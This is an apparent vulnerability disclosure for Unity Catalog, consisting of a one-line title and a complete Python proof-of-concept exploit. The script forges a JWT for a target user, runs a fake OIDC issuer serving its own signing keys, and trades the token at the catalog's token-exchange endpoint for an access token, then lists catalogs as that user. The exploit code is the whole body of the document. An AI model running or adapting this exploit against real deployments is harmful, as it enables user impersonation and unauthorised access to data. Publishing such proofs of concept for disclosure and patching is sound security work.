Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation

#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""

import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify

TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"

# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)

# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}

# Create malicious JWT
token = jwt.encode(
    {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
     "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
    algorithm="RS256", headers={"kid": kid}
)

# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True

@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})

@app.route("/jwks")
def keys(): return jsonify(jwks)

threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)

# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
                     data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
                           "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
                           "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
                           "subject_token": token})

if resp.status_code == 200:
    access_token = resp.json()["access_token"]
    print(f"[+] Got access token as '{TARGET_USER}'")
    # Demo: list catalogs
    catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
                            headers={"Authorization": f"Bearer {access_token}"})
    print(catalogs.json())
else:
    print(f"[-] Failed: {resp.status_code} {resp.text}")